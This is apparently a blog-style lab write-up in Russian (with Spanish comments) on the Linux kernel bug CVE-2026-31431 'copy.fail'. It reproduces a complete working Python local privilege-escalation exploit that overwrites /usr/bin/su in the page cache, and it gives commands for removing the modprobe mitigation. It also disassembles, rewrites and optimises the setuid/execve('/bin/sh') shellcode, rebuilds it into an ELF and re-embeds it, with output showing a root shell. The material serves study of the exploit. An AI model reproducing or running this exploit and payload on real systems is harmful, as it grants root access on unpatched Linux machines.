
CVE-2026-31431 (Ошибка копирования) — Анализ и разработка на ассемблере x86-64 | Анализ и разработка на ассемблере x86-64
Взяв за основу исходный код, опубликованный в Theori, мы выполним несколько упражнений, пока полностью не переведем его на чистый ассемблер (без внешних библиотек).```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## Тестовая среда
Упражнение мы будем выполнять на следующей машине.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
Запускаем программу на Python, чтобы проверить, уязвима ли система. Если возникает ошибка, система не уязвима; если открывается оболочка sh, то уязвима.```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### Отключение смягчения
На этой машине смягчение было загружено через автоматические обновления безопасности, поэтому оно не сработало. Чтобы проверить это, мы снижаем защиту, переименовывая файл, в котором находится смягчение.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
Мы снова пробуем программу, и теперь да, она возвращает shell, и мы убеждаемся, что мы root.```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### Восстановить защиту
После завершения упражнения выполняем следующее, чтобы снова активировать защиту:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
Первое, что нам нужно проанализировать — что представляет собой строка, сжатая с помощью zlib. Для этого создадим программу на Python, decompress.py, которая распаковывает её и создаёт файл: output.bin.```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
Мы выполняем и анализируем тип файла.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Теперь, когда мы знаем, что это файл ELF 64-bit LSB executable, давайте исследуем его.```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
Структура ELF занимает **120 байт**: **ELF header** (64 байта) + **Program header** (56 байт). Машинный код начинается с байта 120 (0x78), что совпадает с **Entry point address: 0x400078**.
### Дизассемблирование кода
Имея **Entry point address: 0x400078**, мы можем начать дизассемблирование кода.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
Объяснение каждого параметра:
-D — Disassemble All. Дизассемблирует все содержимое файла, а не только секции, отмеченные как код. Без этого -d дизассемблирует только .text, а так как этот файл не имеет ELF-секций (это чистый бинарник), ничего не будет показано.-b binary — Binary format. Говорит objdump обрабатывать файл как сырые данные, без попытки парсить ELF-заголовки. Без этого objdump попытается прочитать ELF-заголовок файла и либо выдаст ошибку, либо неправильно дизассемблирует.-m i386:x86-64 — Machine architecture. Указывает набор инструкций для дизассемблирования. i386 — базовое семейство, :x86-64 задаёт 64-битный режим. Это необходимо при использовании -b binary, поскольку при отсутствии ELF-заголовков objdump не может определить архитектуру. Без -m по умолчанию используется i386 (32-бит), и дизассемблирование будет неверным — 64-битные инструкции, такие как lea rdi, [rip+0xf], будут декодированы как мусор.-M intel — Syntax mode. Использует синтаксис Intel () вместо AT&T ().В итоге: с -b binary параметр -m обязателен, потому что objdump не может определить архитектуру без ELF-заголовка. С обычным ELF-файлом (без -b binary) -m не нужен, так как архитектура указана в e_machine заголовка.
Параметр -z в данном случае критически важен, потому что, как мы увидим далее, встречаются нули, используемые как заполнение, и без этого параметра будет показано то, что идёт дальше, и мы не получим точного дизассемблирования.```bash
9d: 00 00 add BYTE PTR [rax],al
...
### Идентификация строки "/bin/sh"
В выводе objdump мы видим:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
и по адресу 0x80, у нас есть:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
Интерпретируя эту последнюю строку, мы заключаем, что это строка, которая начинается по адресу 0x96 и заканчивается по адресу 0x9F. Мы можем увидеть строку следующими способами:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
Первый 00 — это нулевой терминатор, обозначающий конец строки (/bin/sh\0). Остальные два 00 — это выравнивающий padding.
Приведя код к чистому виду, получаем:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> Заполнение гарантирует, что общая сумма делится на 4, так как эксплойт на Python записывает полезную нагрузку в page cache chunks по 4 байта. Если размер не будет кратным 4, последний chunk останется неполным, и запись будет некорректной.
### Проверка идентичности с оригиналом
Проверяем, что этот код идентичен файлу **output.bin**, который мы сгенерировали, распаковав строку и скомпилировав как бинарный файл:```bash
> $ nasm -f bin payload.asm -o payload.bin
Извлекаем только код из файла output.bin. Так как мы знаем, что первые 120 байт соответствуют структуре ELF, мы пропускаем это количество байт.```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
Мы подтверждаем, что наш код идентичен исходному payload. Показаны три способа сделать это.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
Будучи уверенными, что код payload.asm в точности соответствует оригиналу, мы приступим к его оптимизации.```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
> Выравнивающий отступ: 120 (заголовки) + 35 (код) = 155 -> +1 байт = 156 / 4 = 39 chunks.
В **Части 2** мы подробно рассмотрим причины каждой оптимизации.
Компилируем:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
Чтобы запускать пейлоады напрямую, мы должны скомпилировать и слинковать их следующим образом:```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
Если мы хотим устранить предупреждение, после **`section .text`** нам следует добавить следующие строки:```assembly
global _start
_start:
Мы объединяем заголовки ELF (первые 120 байт) исходной полезной нагрузки (output.bin) и оптимизированную полезную нагрузку размером 36 байт (payload-optimized.bin). Выполняем некоторые проверки, устанавливаем права на выполнение и при запуске получаем shell.```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## Анализ заголовков ELF
При объединении заголовков (120 байт) исходного ELF с нашим оптимизированным полезным нагрузочным кодом (36 байт) результирующий файл имеет размер 156 байт, но поля **p_filesz** и **p_memsz** в заголовках по-прежнему указывают 158 — значение исходного файла размером 160 байт. Давайте проанализируем и исправим эти поля.
Для этого нам необходимо знать структуры заголовков ELF-файла.```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
Мы смотрим, какие значения имеют p_filesz и p_memsz в Program Header. Они указывают, сколько байт сегмента существует в файле на диске и сколько резервируется в памяти при загрузке.
Смещения p_filesz и p_memsz равны 0x60 и 0x68 соответственно.```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### Проверка порядка байт (endianness)
Визуально мы замечаем, что значения находятся в **little-endian**, так как если бы они были в big-endian, то были бы огромными числами и не соответствовали бы размеру в 160 байт. Чтобы подтвердить это, проверяем, какое значение имеет **e_ident[5]** заголовка ELF.
Возможные значения:
| Значение | Константа | Описание |
|---|---|---|
| 0x01 | ELFDATA2LSB | Little-endian (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | Big-endian (SPARC, PowerPC, MIPS BE) |
Выполняем:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
Подтверждено, что это little-endian. Мы видим значения в десятичном виде:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### Сравнение размеров
Перечисляем размеры файлов.```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
Размер исходного файла составляет 160 байт, но в структуре ему выделено 158 байт. Это связано с тем, что в конце файла есть два байта заполнения, и автор решил быть точным и указать только те байты, которые будут загружаться. Если бы вместо 158 было указано 160, программа также выполнялась бы корректно, потому что два байта заполнения никогда не выполняются (они находятся после exit) и на них нет ссылок.
Наш оптимизированный файл занимает 156 байт и содержит один байт заполнения. Следуя той же линии точности, что и автор программы, мы установим p_filesz и p_memsz равными 155.
Переводим 155 из десятичной в шестнадцатеричную.```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
Хорошей практикой является то, чтобы поля **p_filesz** и **p_memsz** Program Header имели правильные значения.```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
Подтверждаем, что изменения были применены корректно.```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
Мы также можем подтвердить это, посмотрев Program Header.```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
Мы запускаем его, и он продолжает работать корректно.```bash
$ ./payload-optimized.elf $
## Интеграция в эксплойт
Мы создаем программу, которая сжимает оптимизированный payload и возвращает шестнадцатеричную строку для вставки в эксплойт.```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
Мы заменяем сжатую строку в исходном эксплойте на новую оптимизированную строку.```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Мы протестировали эксплойт с оптимизированной полезной нагрузкой и подтвердили, что он работает корректно.```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ Не забудьте [повторно активировать защиту](#reactivar-la-protección) после завершения теста.
## Контакты
Если у вас есть вопросы, предложения или исправления, напишите мне, указав название репозитория на:
✉️ `[email protected]`
mov al, 0x69mov $0x69, %al-z — Отключает подавление последовательностей нулей. Таким образом показывает всё без пропуска нулей.--start-address=0x78 — Начинать со смещения 0x78 (120 байт). Пропускает ELF-заголовки и program header полезной нагрузки, дизассемблируя только машинный код. Без этого заголовки дизассемблировались бы как инструкции.